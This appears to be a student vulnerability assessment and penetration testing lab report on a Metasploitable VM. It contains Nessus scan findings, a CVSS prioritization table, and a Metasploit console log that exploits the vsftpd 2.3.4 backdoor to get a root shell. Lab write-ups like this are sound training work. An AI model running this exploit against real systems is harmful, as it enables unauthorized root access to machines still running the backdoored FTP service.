



VAPT 2ndReport

1 – Vulnerability scanning

Target: 192.168.0.125

Tools: Nessus

The screenshot shows the Okteto Nessus Essentials interface. The main view displays a summary of a 'Metasploitable scan' for host 192.168.0.125. The host status is 'Fail' with 125 total vulnerabilities, including 9 critical, 7 high, 23 medium, and 9 low. The 'Scan Details' panel provides information about the scan: Policy: Basic Network Scan, Status: Completed, Severity Base: CVSS v3.0, Scanner: Local Scanner, Start: Today at 4:59 PM, End: Today at 5:11 PM, and Elapsed: 12 minutes. A pie chart in the 'Vulnerabilities' section shows the distribution of severity levels.

Severity	Count
Critical	9
High	7
Medium	23
Low	9
Info	125

The screenshot shows the detailed list of vulnerabilities for the host 192.168.0.125. The table lists various findings across different service detection categories. The 'Host Details' panel on the right provides specific details for the host, including IP, MAC, OS, start and end times, elapsed time, KB download, and authentication status.

Sev	CVSS	VPR	EPSS	Name	Family	Count
Critical	10.0 *	7.4	0.868	UnrealIRCd Backdoor Detection	Backdoors	1
Critical	10.0			Canonical Ubuntu Linux SEOL (8.04.X)	General	1
Critical	10.0 *			VNC Server 'password' Password	Gain a shell remotely	1
Critical	9.8			SSL Version 2 and 3 Protocol Detection	Service detection	2
Critical	9.8			Bind Shell Backdoor Detection	Backdoors	1
Critical	SSL (Multiple Issues)	Gain a shell remotely	3
High	7.5 *	6.7	0.5006	rlogin Service Detection	Service detection	1
High	7.5 *	6.7	0.5006	rsh Service Detection	Service detection	1
High	7.5	5.9	0.7993	Samba Badlock Vulnerability	General	1
High	7.5			NFS Shares World Readable	RPC	1
Mixed	SSL (Multiple Issues)	General	28
Mixed	ISC Bind (Multiple Issues)	DNS	5
Medium	6.5			TLS Version 1.0 Protocol Detection	Service detection	2
Medium	6.5			Unencrypted Telnet Server	Misc.	1
Medium	5.9	4.4	0.027	SSL Anonymous Cipher Suites Supported	Service detection	1

Host Details:
IP: 192.168.0.125
MAC: 7C:85:66:C4:C8:B8
OS: Linux Kernel 2.6 on Ubuntu 8.04 (hardy)
Start: Today at 4:59 PM
End: Today at 5:11 PM
Elapsed: 12 minutes
KB: Download
Auth: Fail

Vulnerabilities:
Critical: 9
High: 7
Medium: 23
Low: 9
Info: 125



The screenshot shows the Nessus Essentials interface with a scan titled "Metasploitable scan". The interface includes a sidebar with "Folders" (My Scans, vapt 2nd, All Scans, Trash), "Resources" (Policies, Plugin Rules), and "Tenable News". The main area shows a table of vulnerabilities found on one host, with three actions listed: ISC BIND 9.x < 9.11.22, Samba Badlock Vulnerability, and UnrealIRCd Backdoor Detection. The "Scan Details" section indicates the scan was completed with a basic network policy, using CVSS v3.0, and took 12 minutes.

2 – Prioritization and CVSS

Target: 192.168.0.125

Vulnerability	CVSS	Priority
Anonymous FTP	8.6	High
Outdated openSSH	8.3	High
Telnet	8.2	high
Directory browsing	5.4	Medium
Tomcat	9.8	Critical
Weak Credential	9	Critical
Info Disclosure	7.3	Medium
Missing anti CSRF Token	5.4	Medium
DNS server version disclosure	3.1	Low
Bind shell	9.8	Critical

3 - Exploitation

Target: 192.168.0.125



```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set lhost 192.168.0.133
[!] Unknown datastore option: lhost. Did you mean RHOST?
lhost => 192.168.0.133
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
  Name   Current Setting  Required  Description
  CHOST            no        The local client address
  CPORt            no        The local client port
  Proxies          no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS          192.168.0.125  yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT           21        yes      The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.0.133
LHOST => 192.168.0.133
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
  Name   Current Setting  Required  Description
  CHOST            no        The local client address
  CPORt            no        The local client port
  Proxies          no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS          192.168.0.125  yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT           21        yes      The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.0.125:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.0.125:21 - USER: 331 Please specify the password.
[+] 192.168.0.125:21 - Backdoor service has been spawned, handling ...
[+] 192.168.0.125:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.0.133:34025 → 192.168.0.125:6200) at 2025-11-28 17:17:34 +0530
```